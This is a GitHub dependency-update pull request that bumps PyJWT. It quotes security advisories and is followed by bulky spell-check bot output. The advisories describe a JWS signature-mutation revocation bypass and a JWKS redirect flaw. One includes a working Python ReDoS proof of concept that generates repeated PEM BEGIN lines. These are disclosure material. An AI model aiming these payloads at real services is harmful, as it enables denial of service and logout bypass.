The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Non-canonical signature segments enable raw-token revocation bypass

CVE-2026-102269 / GHSA-hxm8-2xgr-2p9m

More information

Details

Summary

PyJWT 2.13.0 accepts compact JWS signature segments containing characters that
are not in the Base64URL alphabet. Appending !!!! to a valid signature does
not change the decoded signature bytes or authenticated claims, but it changes
the serialized token and its SHA-256 hash. An application that indexes logout
or revocation state by the raw token therefore rejects the logged-out token and
accepts its no-key alternate serialization.

This report separates two issues: permissive compact-JWS decoding is the
library behavior, while using raw serialized JWT text as a security identity is
a dangerous application composition. A jti-indexed control blocks both
representations.

Affected Version

Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the
signature segment and requires no signing key.

End-to-End Reproduction
.venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py

The loopback-only lab performs:

  1. Issue a valid HS256 admin token.
  2. Access /protected successfully.
  3. Log out the canonical token and store SHA256(raw_token).
  4. Confirm canonical replay returns HTTP 401.
  5. Append !!!! to only the signature segment.
  6. Confirm the mutated token has the same verified claims and signature bytes,
    a different raw hash, and receives HTTP 200.
  7. Repeat with jti-indexed revocation and confirm both forms return HTTP 401.

Observed statuses for raw-token revocation were 200 -> logout -> 401 for the
canonical token and 200 for the alternate serialization. The jti control
returned 401 for both replays after logout.

Security Boundaries and Severity

This is not signature forgery: the attacker starts with a valid token and
cannot alter its claims. Impact requires a consumer to bind revocation, replay
state, rate limits, or cache identity to the raw compact string. Under that
composition, an authenticated user can bypass logout or token-specific
revocation without the signing key. Medium is suggested for triage because the
security impact is real but application-dependent.

Recommended Fix
  • Reject signature segments containing characters outside [A-Za-z0-9_-].
  • Reject padding and other non-canonical Base64URL encodings for compact JWS.
  • Add regression tests proving malformed signature encodings fail before or
    during verification.
  • Document that applications must use a semantic identifier such as jti, not
    the raw serialized token, for revocation and replay state.
Maintainer update — 2026-09-09

We reproduced the reported behavior on the verified master commit 8915570: appending !!!! to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags 2.4.0, 2.8.0, 2.10.1, 2.12.1, and 2.13.0.

The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as jti for token identity.

The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.

Maintainer update — 2026-09-09

The fix has been rebased onto the current master as e6f48401001609a8f99e71fcaf355fb895d508a8 and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as !!!! is rejected before verification. Valid detached b64=false handling remains supported.

Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and git diff --check passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.

The advisory remains medium severity and unpublished.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.

These metadata changes do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient follows redirects when fetching JWKS

CVE-2026-102267 / GHSA-9v7f-9g4p-ffgj

More information

Details

Summary

PyJWT 2.13.0 PyJWKClient followed HTTP redirects while fetching a JWKS,
without validating the redirect destination. A configured trusted endpoint
could therefore redirect the client to a different host.

Impact

When an application uses PyJWKClient with caller-supplied request headers and
an attacker can influence the configured endpoint's response, the redirected
request could expose those headers and the redirected response could be used as
authoritative key material. This could cause JWKS trust poisoning and, in
affected mixed-configuration applications, forged JWT acceptance. The issue
requires an attacker-influenced redirect from the configured JWKS endpoint; it
is not triggered by a token kid alone.

Affected versions

PyJWT <= 2.13.0.

Fix

The issue is fixed on master in commit
0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56.
PyJWKClient now disables automatic redirects for JWKS fetches. Regression
tests verify that a redirect is rejected without contacting its destination,
while normal fetches, headers, caching, errors, timeouts, and SSL context remain
covered.

The fix is present in the unreleased development branch. The patched version
will be recorded after a released PyJWT 2.x version containing the fix is
confirmed.

Credit

Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect
header-leak and cache-poisoning evidence from the newer duplicate report
GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this
canonical advisory update.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: ReDoS vulnerability when calling the is_pem_format function.

CVE-2026-102270 / GHSA-jwrc-g2q2-pq5p

More information

Details

Summary

There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC
import time
import re

BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers

def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed

for n in (1000, 2000, 4000, 8000):
    measure(n)
Impact

The attacker could use ext

❗ Important

✂ PR body was truncated to here.

@renovate

renovate Bot commented Mar 30, 2026

Copy link
Copy Markdown
Contributor Author

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@auto-assign
auto-assign Bot requested a review from AlexRogalskiy March 30, 2026 22:32
@github-actions

github-actions Bot commented Mar 30, 2026 •

Copy link
Copy Markdown
Contributor

@check-spelling-bot Report

Unrecognized words, please review:

  • adr
  • akka
  • alexrogalskiy
  • allcontributors
  • api
  • arcver
  • assing
  • badgen
  • BETTERCODE
  • betterjavacode
  • blogspot
  • boopickle
  • bootcamp
  • brightgreen
  • bugfixes
  • buymeacoffee
  • ceb
  • codeready
  • codesandbox
  • codetriage
  • committers
  • configmaps
  • debezium
  • demystified
  • dependabot
  • devcases
  • devfile
  • dirtyreload
  • DOI
  • dreamix
  • dropdown
  • eab
  • eap
  • eisele
  • embeddableinstantiator
  • embeddables
  • facebook
  • fastai
  • fastpages
  • fastparse
  • firsttimersonly
  • flushmode
  • forthebadge
  • frapsoft
  • freemarker
  • FRP
  • fthomas
  • gerrit
  • getquill
  • GIFs
  • gitbook
  • gitflow
  • githubbox
  • gitpod
  • GPLv
  • Gradle
  • grunwald
  • guideslines
  • gunnar
  • Hashids
  • Hasids
  • helloworld
  • hitsofcode
  • hmil
  • infoworld
  • insidejava
  • Instantiator
  • IPhone
  • istio
  • janssen
  • japgolly
  • javacodegeeks
  • javafx
  • javamelody
  • javaone
  • JAVAPROG
  • jboss
  • jcliff
  • jdbc
  • jdk
  • jextract
  • jfr
  • jfrunit
  • johan
  • jpa
  • JRE
  • jsonignore
  • jsp
  • jsparty
  • julienrf
  • Jupyter
  • kubernetes
  • latestdoi
  • LETSTALK
  • letstalkaboutjava
  • LGPL
  • LGPLv
  • lihaoyi
  • liskov
  • logfile
  • mades
  • makeapullrequest
  • markdownguide
  • markus
  • matryoshka
  • mcve
  • mega
  • microservices
  • milessabin
  • mirrorring
  • mkdocs
  • modelviewculture
  • monix
  • mtl
  • mutationquery
  • namespaces
  • nestjs
  • Netflix
  • newreleases
  • nullables
  • nvie
  • objectmappers
  • odl
  • openapi
  • opengraph
  • opentelemetry
  • osslifecycle
  • oyanglul
  • pagespeedresultmobile
  • pasteable
  • patreon
  • paypal
  • PITMP
  • plumbr
  • podcast
  • precog
  • pufler
  • pypa
  • quarkus
  • quicklens
  • RANDOMTHOUGHTS
  • randomthoughtsonjavaprogramming
  • rce
  • reactify
  • readthedocs
  • reddit
  • renovatebot
  • reporoster
  • repostatus
  • resteasy
  • rfm
  • Rogalskiy
  • rogalsky
  • rubyonrails
  • runtimes
  • scalacss
  • scalafiddle
  • scalafmt
  • scalajs
  • scalameta
  • scalanlp
  • scalastyle
  • scalaz
  • scm
  • seeyoufarm
  • selectionquery
  • softwaremill
  • sourcegraph
  • spamming
  • splunk
  • sql
  • squants
  • squbs
  • sscce
  • stakeholders
  • starchart
  • sttp
  • stylegu
  • suggestig
  • suzaku
  • thejavaprogrammer
  • thorben
  • tilda
  • tokei
  • trufoj
  • tsb
  • tsbleo
  • tscojc
  • tscqlg
  • tsd
  • tsdllr
  • typelevel
  • udash
  • upickle
  • urt
  • ussue
  • violoate
  • vos
  • wget
  • wildfly
  • wix
  • workspaces
  • zenodo
  • zgc
  • zio
Previously acknowledged words that are now absent acl activesupport adaoraul addons aeiou AFile afterall Alexey alfredxing algolia allowfullscreen Anatoliy andreyvit Ankit Anning apps appveyor arengu args ariejan arounds asciinema asdf ashmaroli attr Autobuild autocompletion autogenerated Autolink autoload autoreconf autosave awood awscli backport backtick barcamp baseurl bashrc baz bbatsov bdimcheff bellvat benbalter Beney binstubs bip bitbucket Blogger blogging bonafide Bou breadcrumbs briandoll bridgetown bridgetownrb brightbox brighterplanet buddyworks Bugfix Burela byparker cachegrind calavera callgraphs cartera cavalle CDNs cgi changefreq chango charset Chayoung chcp chdir Cheatsheet Checkoway chmod chown Chrononaut chruby cibuild cimg circleci CJK classname cloudcannon Cloudinary cloudsh CLT CODEOWNERS coderay codeslinger coffeescript colorator commandline commonmark compat compatibilize concat configyml contentblocks CORS Cov CRLFs cron crontab cruft css csv Currin CVE CWD cygwin daringfireball Dassonville datafiles datetime DCEU Debian debuggability defunkt delegators deployer deps dest Devkit devops digitalocean dirs disqus ditaa dnf doclist doctype doeorg dommmel dotfile Dousse downcase downcased duckduckgo duritong Dusseau dysinger ecf editorconfig eduardoboucas Elasticsearch elsif Emacs emails endcapture endcomment endfor endhighlight endif endraw endrender endtablerow Enumerables EOL erb errordocument Espinaco eugenebolshakov evaled exe execjs extensionpack extname exts favicon Fengyun ffi figcaption filesystem Finazzo firstimage FIXME flakey flickr fnmatch fontello forloop formcake formcarry formester formingo formkeep formspark formspree formx Forwardable frameborder freenode frontend frontmatter fsnotify ftp fullstory Gaudino gcc gcnovus gemfile gemset gemspec getform getset getsimpleform gettalong gfm ghp ghpages giraffeacademy githubcom gitignore gitlab gjtorikian globbed globbing google gotcha Goulven gridism GSo gsub gsubbing Hakiri hardcode hashbang hashmap helaili henrik heredoc heroku highlighter hilighting Hoizey hostman hostname htaccess htm htmlproofer httpd httpdocs hyperlinks Iaa ial ico icomoon iconset ified iframe Impl Inlining invokables irc ivey ize jalali jameshamann jamstackthemes jan Jax jayferd jcon jdoe jeffreytse jeffrydegrande Jekpack jekyllbot jekyllconf Jekyllers Jekyllin Jekylling jekyllized jekylllayoutconcept jekyllrb jekyllthemes jemoji jmcglone jneen johnreilly jpg jqr jruby jsonify juretta jwarby Kacper Kasberg kbd Kentico Kewin keycdn kickster Kinnula kiwifruit Kolesky konklone kontent Kotvinsky kramdown Kulig Kwokfu Lamprecht laquo lastmod launchctl launchy laurilehmijoki ldquo learnxinyminutes lexer LGTM libcurl libffi lightgray limjh linenos linkify linux liufengyun livereload localheinz localtime Locher loglevel Losslessly lovin lsi lsquo lstrip lyche macos macromates mademistakes Manmeet markdownify Maroli Marsceill maruku mathjax mathml mattr Maximiliano mchung mdash memberspace Memoize memoized memoizing mentoring mergable Mertcan mertkahyaoglu microdata mimetype mingw minibundle minifier minitest Mittal mixin mkasberg mkd mkdir mkdn mkdown mmistakes modernizr mojombo moncefbelyamani moz mreid msdn mswin MSYS mtime multiline munging Mvvm myblog mycontent mydata mydoc myimage mypage myposts myproject myrepo mysite myvalue myvar myvariable Nadjib nakanishi namespace namespaced navbar nbsp nearlyfreespeech nethack netlify netlifycms Neue nginx ngx nielsenramon nior noifniof nokogiri notextile onclick onebox oneclick onschedule openssl Optim orderofinterpretation orgs OSVDB osx packagecontrol pacman paginator pandoc pantulis params parkr parseable paspagon passthrough pathawks Pathutil paywall pdf Pelykh permalink PHP pinboard Piwigo pjhyett pkill pkpass placeholders planetjekyll plantuml plugin podcasts popen Porcel Posterous postfiles postlayout postmodern prefetching preinstalled prepends Prioritise Probot projectlist pubstorm pufuwozu pwa pwd pygments qrush Quaid rackup Rakefile razorops rbenv rdiscount rdoc rdquo realz rebund redcarpet redcloth redgreen refactor Refheap regen regex regexp remi reqs Responsify revertable rfc rfelix RHEL ridk roadmap rowspan rspec rsquo rstrip rsync rtomayko Rubo rubocop rubychan rubygem rubyinstaller rubyprof Ruparelia Rusiczki rvm ryanflorence saas samplelist samrayner sandboxed Sassc sassify schemastore Schroers Schwartzian scp scrollbar scroller scss scssify sdk SDKROOT sectore seo serverless setenv SFTP shingo shopify shortlog shoulda sieversii sigpipe simplecov Singhaniya siteleaf sitemap SITENAME Slicehost slugified slugify smartforms smartify snipcart somedir sonnym Sonomy sourced sourcemaps spam spotify ssg ssh SSL staticfiles staticman statictastic STDERR stdout Stickyposts strftime stringified Stringify stylesheet subdir subdomain subfolder subfolderitems subnav subpages subpath subpiece subsubfolderitems subthing subvalues subwidget sudo superdirectories superdirs SUSE sverrirs svn swfobject swupd symlink symlinking tablerow tada Taillandier talkyard tbody technicalpickles templating templatize Termux textilize textpattern thead therubyracer Theunissen Thornquest thoughtbot throughs Tidelift timeago timezone titleize TLS tmm tmp toc tok tomjoht toml tomo toolset toshimaru triaged triaging truncatewords tsv ttf Tudou Tumblr Tweetsert txtpen Tyborska tzinfo ubuntu uby ujh ultron undumpable unencode Unescape unescaping unicode uniq upcase uppercasing uri urlset username usr utf utils utime vanpelt Vasovi vendored vercel versioned vertycal Veyor vilcans Vishesh visualstudio vnd vohedge vps vscode vwochnik Walkthroughs wdm We'd webfont webhook webhosting webmentions webrick weekdate whitelist whitelisting wikipedia wildcards willcodeforfoo woff wordpress Workaround wsl xcode xcrun xdg Xhmikos xhtml Xiaoiver XMinutes xmlns xmlschema yajl Yarp Yashu Yastreb Youku youtube yunbox zeropadding Zlatan zlib zoneinfo zpinter Zsh zshrc zypper zzot
To accept these unrecognized words as correct (and remove the previously acknowledged and now absent words), run the following commands

... in a clone of the git@github.com:AlexRogalskiy/java-patterns.git repository
on the renovate/pypi-pyjwt-vulnerability branch:

update_files() {
perl -e '
my @expect_files=qw('".github/actions/spelling/expect.txt"');
@ARGV=@expect_files;
my @stale=qw('"$patch_remove"');
my $re=join "|", @stale;
my $suffix=".".time();
my $previous="";
sub maybe_unlink { unlink($_[0]) if $_[0]; }
while (<>) {
if ($ARGV ne $old_argv) { maybe_unlink($previous); $previous="$ARGV$suffix"; rename($ARGV, $previous); open(ARGV_OUT, ">$ARGV"); select(ARGV_OUT); $old_argv = $ARGV; }
next if /^(?:$re)(?:(?:\r|\n)*$| .*)/; print;
}; maybe_unlink($previous);'
perl -e '
my $new_expect_file=".github/actions/spelling/expect.txt";
use File::Path qw(make_path);
use File::Basename qw(dirname);
make_path (dirname($new_expect_file));
open FILE, q{<}, $new_expect_file; chomp(my @words = <FILE>); close FILE;
my @add=qw('"$patch_add"');
my %items; @items{@words} = @words x (1); @items{@add} = @add x (1);
@words = sort {lc($a)."-".$a cmp lc($b)."-".$b} keys %items;
open FILE, q{>}, $new_expect_file; for my $word (@words) { print FILE "$word\n" if $word =~ /\w/; };
close FILE;
system("git", "add", $new_expect_file);
'
}

comment_json=$(mktemp)
curl -L -s -S \
  --header "Content-Type: application/json" \
  "https://api.github.com/repos/AlexRogalskiy/java-patterns/issues/comments/4158580219" > "$comment_json"
comment_body=$(mktemp)
jq -r .body < "$comment_json" > $comment_body
rm $comment_json

patch_remove=$(perl -ne 'next unless s{^</summary>(.*)</details>$}{$1}; print' < "$comment_body")
  

patch_add=$(perl -e '$/=undef;
$_=<>;
s{<details>.*}{}s;
s{^#.*}{};
s{\n##.*}{};
s{(?:^|\n)\s*\*}{}g;
s{\s+}{ }g;
print' < "$comment_body")
  
update_files
rm $comment_body
git add -u
If you see a bunch of garbage

If it relates to a ...

well-formed pattern

See if there's a pattern that would match it.

If not, try writing one and adding it to the patterns.txt file.

Patterns are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your lines.

Note that patterns can't match multiline strings.

binary-ish string

Please add a file path to the excludes.txt file instead of just accepting the garbage.

File paths are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your files.

^ refers to the file's path from the root of the repository, so ^README\.md$ would exclude README.md (on whichever branch you're using).

@github-actions github-actions Bot added the docs label Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 2fd93ba to 314c413 Compare April 6, 2026 01:14
@github-actions

github-actions Bot commented Apr 6, 2026 •

Copy link
Copy Markdown
Contributor

@check-spelling-bot Report

Unrecognized words, please review:

  • adr
  • akka
  • alexrogalskiy
  • allcontributors
  • api
  • arcver
  • assing
  • badgen
  • BETTERCODE
  • betterjavacode
  • blogspot
  • boopickle
  • bootcamp
  • brightgreen
  • bugfixes
  • buymeacoffee
  • ceb
  • codeready
  • codesandbox
  • codetriage
  • committers
  • configmaps
  • debezium
  • demystified
  • dependabot
  • devcases
  • devfile
  • dirtyreload
  • DOI
  • dreamix
  • dropdown
  • eab
  • eap
  • eisele
  • embeddableinstantiator
  • embeddables
  • facebook
  • fastai
  • fastpages
  • fastparse
  • firsttimersonly
  • flushmode
  • forthebadge
  • frapsoft
  • freemarker
  • FRP
  • fthomas
  • gerrit
  • getquill
  • GIFs
  • gitbook
  • gitflow
  • githubbox
  • gitpod
  • GPLv
  • Gradle
  • grunwald
  • guideslines
  • gunnar
  • Hashids
  • Hasids
  • helloworld
  • hitsofcode
  • hmil
  • infoworld
  • insidejava
  • Instantiator
  • IPhone
  • istio
  • janssen
  • japgolly
  • javacodegeeks
  • javafx
  • javamelody
  • javaone
  • JAVAPROG
  • jboss
  • jcliff
  • jdbc
  • jdk
  • jextract
  • jfr
  • jfrunit
  • johan
  • jpa
  • JRE
  • jsonignore
  • jsp
  • jsparty
  • julienrf
  • Jupyter
  • kubernetes
  • latestdoi
  • LETSTALK
  • letstalkaboutjava
  • LGPL
  • LGPLv
  • lihaoyi
  • liskov
  • logfile
  • mades
  • makeapullrequest
  • markdownguide
  • markus
  • matryoshka
  • mcve
  • mega
  • microservices
  • milessabin
  • mirrorring
  • mkdocs
  • modelviewculture
  • monix
  • mtl
  • mutationquery
  • namespaces
  • nestjs
  • Netflix
  • newreleases
  • nullables
  • nvie
  • objectmappers
  • odl
  • openapi
  • opengraph
  • opentelemetry
  • osslifecycle
  • oyanglul
  • pagespeedresultmobile
  • pasteable
  • patreon
  • paypal
  • PITMP
  • plumbr
  • podcast
  • precog
  • pufler
  • pypa
  • quarkus
  • quicklens
  • RANDOMTHOUGHTS
  • randomthoughtsonjavaprogramming
  • rce
  • reactify
  • readthedocs
  • reddit
  • renovatebot
  • reporoster
  • repostatus
  • resteasy
  • rfm
  • Rogalskiy
  • rogalsky
  • rubyonrails
  • runtimes
  • scalacss
  • scalafiddle
  • scalafmt
  • scalajs
  • scalameta
  • scalanlp
  • scalastyle
  • scalaz
  • scm
  • seeyoufarm
  • selectionquery
  • softwaremill
  • sourcegraph
  • spamming
  • splunk
  • sql
  • squants
  • squbs
  • sscce
  • stakeholders
  • starchart
  • sttp
  • stylegu
  • suggestig
  • suzaku
  • thejavaprogrammer
  • thorben
  • tilda
  • tokei
  • trufoj
  • tsb
  • tsbleo
  • tscojc
  • tscqlg
  • tsd
  • tsdllr
  • typelevel
  • udash
  • upickle
  • urt
  • ussue
  • violoate
  • vos
  • wget
  • wildfly
  • wix
  • workspaces
  • zenodo
  • zgc
  • zio
Previously acknowledged words that are now absent acl activesupport adaoraul addons aeiou AFile afterall Alexey alfredxing algolia allowfullscreen Anatoliy andreyvit Ankit Anning apps appveyor arengu args ariejan arounds asciinema asdf ashmaroli attr Autobuild autocompletion autogenerated Autolink autoload autoreconf autosave awood awscli backport backtick barcamp baseurl bashrc baz bbatsov bdimcheff bellvat benbalter Beney binstubs bip bitbucket Blogger blogging bonafide Bou breadcrumbs briandoll bridgetown bridgetownrb brightbox brighterplanet buddyworks Bugfix Burela byparker cachegrind calavera callgraphs cartera cavalle CDNs cgi changefreq chango charset Chayoung chcp chdir Cheatsheet Checkoway chmod chown Chrononaut chruby cibuild cimg circleci CJK classname cloudcannon Cloudinary cloudsh CLT CODEOWNERS coderay codeslinger coffeescript colorator commandline commonmark compat compatibilize concat configyml contentblocks CORS Cov CRLFs cron crontab cruft css csv Currin CVE CWD cygwin daringfireball Dassonville datafiles datetime DCEU Debian debuggability defunkt delegators deployer deps dest Devkit devops digitalocean dirs disqus ditaa dnf doclist doctype doeorg dommmel dotfile Dousse downcase downcased duckduckgo duritong Dusseau dysinger ecf editorconfig eduardoboucas Elasticsearch elsif Emacs emails endcapture endcomment endfor endhighlight endif endraw endrender endtablerow Enumerables EOL erb errordocument Espinaco eugenebolshakov evaled exe execjs extensionpack extname exts favicon Fengyun ffi figcaption filesystem Finazzo firstimage FIXME flakey flickr fnmatch fontello forloop formcake formcarry formester formingo formkeep formspark formspree formx Forwardable frameborder freenode frontend frontmatter fsnotify ftp fullstory Gaudino gcc gcnovus gemfile gemset gemspec getform getset getsimpleform gettalong gfm ghp ghpages giraffeacademy githubcom gitignore gitlab gjtorikian globbed globbing google gotcha Goulven gridism GSo gsub gsubbing Hakiri hardcode hashbang hashmap helaili henrik heredoc heroku highlighter hilighting Hoizey hostman hostname htaccess htm htmlproofer httpd httpdocs hyperlinks Iaa ial ico icomoon iconset ified iframe Impl Inlining invokables irc ivey ize jalali jameshamann jamstackthemes jan Jax jayferd jcon jdoe jeffreytse jeffrydegrande Jekpack jekyllbot jekyllconf Jekyllers Jekyllin Jekylling jekyllized jekylllayoutconcept jekyllrb jekyllthemes jemoji jmcglone jneen johnreilly jpg jqr jruby jsonify juretta jwarby Kacper Kasberg kbd Kentico Kewin keycdn kickster Kinnula kiwifruit Kolesky konklone kontent Kotvinsky kramdown Kulig Kwokfu Lamprecht laquo lastmod launchctl launchy laurilehmijoki ldquo learnxinyminutes lexer LGTM libcurl libffi lightgray limjh linenos linkify linux liufengyun livereload localheinz localtime Locher loglevel Losslessly lovin lsi lsquo lstrip lyche macos macromates mademistakes Manmeet markdownify Maroli Marsceill maruku mathjax mathml mattr Maximiliano mchung mdash memberspace Memoize memoized memoizing mentoring mergable Mertcan mertkahyaoglu microdata mimetype mingw minibundle minifier minitest Mittal mixin mkasberg mkd mkdir mkdn mkdown mmistakes modernizr mojombo moncefbelyamani moz mreid msdn mswin MSYS mtime multiline munging Mvvm myblog mycontent mydata mydoc myimage mypage myposts myproject myrepo mysite myvalue myvar myvariable Nadjib nakanishi namespace namespaced navbar nbsp nearlyfreespeech nethack netlify netlifycms Neue nginx ngx nielsenramon nior noifniof nokogiri notextile onclick onebox oneclick onschedule openssl Optim orderofinterpretation orgs OSVDB osx packagecontrol pacman paginator pandoc pantulis params parkr parseable paspagon passthrough pathawks Pathutil paywall pdf Pelykh permalink PHP pinboard Piwigo pjhyett pkill pkpass placeholders planetjekyll plantuml plugin podcasts popen Porcel Posterous postfiles postlayout postmodern prefetching preinstalled prepends Prioritise Probot projectlist pubstorm pufuwozu pwa pwd pygments qrush Quaid rackup Rakefile razorops rbenv rdiscount rdoc rdquo realz rebund redcarpet redcloth redgreen refactor Refheap regen regex regexp remi reqs Responsify revertable rfc rfelix RHEL ridk roadmap rowspan rspec rsquo rstrip rsync rtomayko Rubo rubocop rubychan rubygem rubyinstaller rubyprof Ruparelia Rusiczki rvm ryanflorence saas samplelist samrayner sandboxed Sassc sassify schemastore Schroers Schwartzian scp scrollbar scroller scss scssify sdk SDKROOT sectore seo serverless setenv SFTP shingo shopify shortlog shoulda sieversii sigpipe simplecov Singhaniya siteleaf sitemap SITENAME Slicehost slugified slugify smartforms smartify snipcart somedir sonnym Sonomy sourced sourcemaps spam spotify ssg ssh SSL staticfiles staticman statictastic STDERR stdout Stickyposts strftime stringified Stringify stylesheet subdir subdomain subfolder subfolderitems subnav subpages subpath subpiece subsubfolderitems subthing subvalues subwidget sudo superdirectories superdirs SUSE sverrirs svn swfobject swupd symlink symlinking tablerow tada Taillandier talkyard tbody technicalpickles templating templatize Termux textilize textpattern thead therubyracer Theunissen Thornquest thoughtbot throughs Tidelift timeago timezone titleize TLS tmm tmp toc tok tomjoht toml tomo toolset toshimaru triaged triaging truncatewords tsv ttf Tudou Tumblr Tweetsert txtpen Tyborska tzinfo ubuntu uby ujh ultron undumpable unencode Unescape unescaping unicode uniq upcase uppercasing uri urlset username usr utf utils utime vanpelt Vasovi vendored vercel versioned vertycal Veyor vilcans Vishesh visualstudio vnd vohedge vps vscode vwochnik Walkthroughs wdm We'd webfont webhook webhosting webmentions webrick weekdate whitelist whitelisting wikipedia wildcards willcodeforfoo woff wordpress Workaround wsl xcode xcrun xdg Xhmikos xhtml Xiaoiver XMinutes xmlns xmlschema yajl Yarp Yashu Yastreb Youku youtube yunbox zeropadding Zlatan zlib zoneinfo zpinter Zsh zshrc zypper zzot
To accept these unrecognized words as correct (and remove the previously acknowledged and now absent words), run the following commands

... in a clone of the git@github.com:AlexRogalskiy/java-patterns.git repository
on the renovate/pypi-pyjwt-vulnerability branch:

update_files() {
perl -e '
my @expect_files=qw('".github/actions/spelling/expect.txt"');
@ARGV=@expect_files;
my @stale=qw('"$patch_remove"');
my $re=join "|", @stale;
my $suffix=".".time();
my $previous="";
sub maybe_unlink { unlink($_[0]) if $_[0]; }
while (<>) {
if ($ARGV ne $old_argv) { maybe_unlink($previous); $previous="$ARGV$suffix"; rename($ARGV, $previous); open(ARGV_OUT, ">$ARGV"); select(ARGV_OUT); $old_argv = $ARGV; }
next if /^(?:$re)(?:(?:\r|\n)*$| .*)/; print;
}; maybe_unlink($previous);'
perl -e '
my $new_expect_file=".github/actions/spelling/expect.txt";
use File::Path qw(make_path);
use File::Basename qw(dirname);
make_path (dirname($new_expect_file));
open FILE, q{<}, $new_expect_file; chomp(my @words = <FILE>); close FILE;
my @add=qw('"$patch_add"');
my %items; @items{@words} = @words x (1); @items{@add} = @add x (1);
@words = sort {lc($a)."-".$a cmp lc($b)."-".$b} keys %items;
open FILE, q{>}, $new_expect_file; for my $word (@words) { print FILE "$word\n" if $word =~ /\w/; };
close FILE;
